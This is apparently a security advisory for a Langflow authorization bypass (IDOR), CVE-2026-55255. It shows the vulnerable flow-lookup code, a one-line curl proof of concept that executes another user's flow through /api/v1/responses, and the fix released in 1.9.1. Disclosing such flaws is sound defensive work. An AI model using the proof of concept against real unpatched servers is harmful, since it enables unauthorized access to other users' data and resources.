CVE-2026-55255: Langflow Authorization Bypass Through User-Controlled Key Vulnerability

Summary

Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.

Details

The vulnerability exists in the getflowbyidorendpointname helper function in src/backend/base/langflow/helpers/flow.py (lines 399-414).

When a flow is accessed via UUID (flowid), the function queries the database directly without verifying if the authenticated user owns that flow:

python src/backend/base/langflow/helpers/flow.py:399-414 async def getflowbyidorendpointname(flowidorname: str, userid: str | UUID | None = None) -> FlowRead: async with sessionscope() as session: try: flowid = UUID(flowidorname) # When using UUID, query directly WITHOUT checking userid flow = await session.get(Flow, flowid) # ❌ No userid check! except ValueError: endpointname = flowidorname stmt = select(Flow).where(Flow.endpointname == endpointname) # Only when using endpointname is userid checked if userid: stmt = stmt.where(Flow.userid == uuiduserid)

This function is used by the /api/v1/responses endpoint (defined in src/backend/base/langflow/api/v1/openairesponses.py:589).

PoC (Proof of Concept)

bash Attacker (user A) with APIKEYA tries to execute victim (user B)'s flow curl -X POST "http://localhost:7860/api/v1/responses" \ -H "x-api-key: sk-ATTACKERAPIKEY" \ -H "Content-Type: application/json" \ -d '{ "model": "VICTIMFLOWID", "inputvalue": "test", "stream": false }' Returns 200 and executes the victim's flow

Impact

Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources

Fixes

Fixed in PR #12832 (fix(security): close IDOR in getflowbyidorendpointname), merged 2026-04-22, released in Langflow 1.9.1.

The helper normalizes userid once and enforces ownership on both lookup branches (UUID and endpointname):

python flowid = UUID(flowidorname) flow = await session.get(Flow, flowid) if flow is not None and uuiduserid is not None and flow.userid != uuiduserid: flow = None # cross-user lookup falls through to the shared 404

Key points: - Cross-user lookups return 404 (not 403), so flow existence is not disclosed via a 403-vs-404 oracle. - /api/v1/responses and /api/v2/workflow pass userid explicitly, so fixing the helper closes them directly; the /api/v1/run routes were additionally moved from a bare Depends(getflowbyidorendpointname) to auth-aware wrapper dependencies (defense in depth). - A malformed userid now fails closed (404 instead of a raw 500). - Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere). - Regression tests cover the cross-user UUID case and reproduce the original PoC against /api/v1/responses.

Acknowledgements

Thanks to the security researchers who responsibly disclosed this vulnerability: @yzeirnials @johnatzeropath @LeftenantZero @Zwique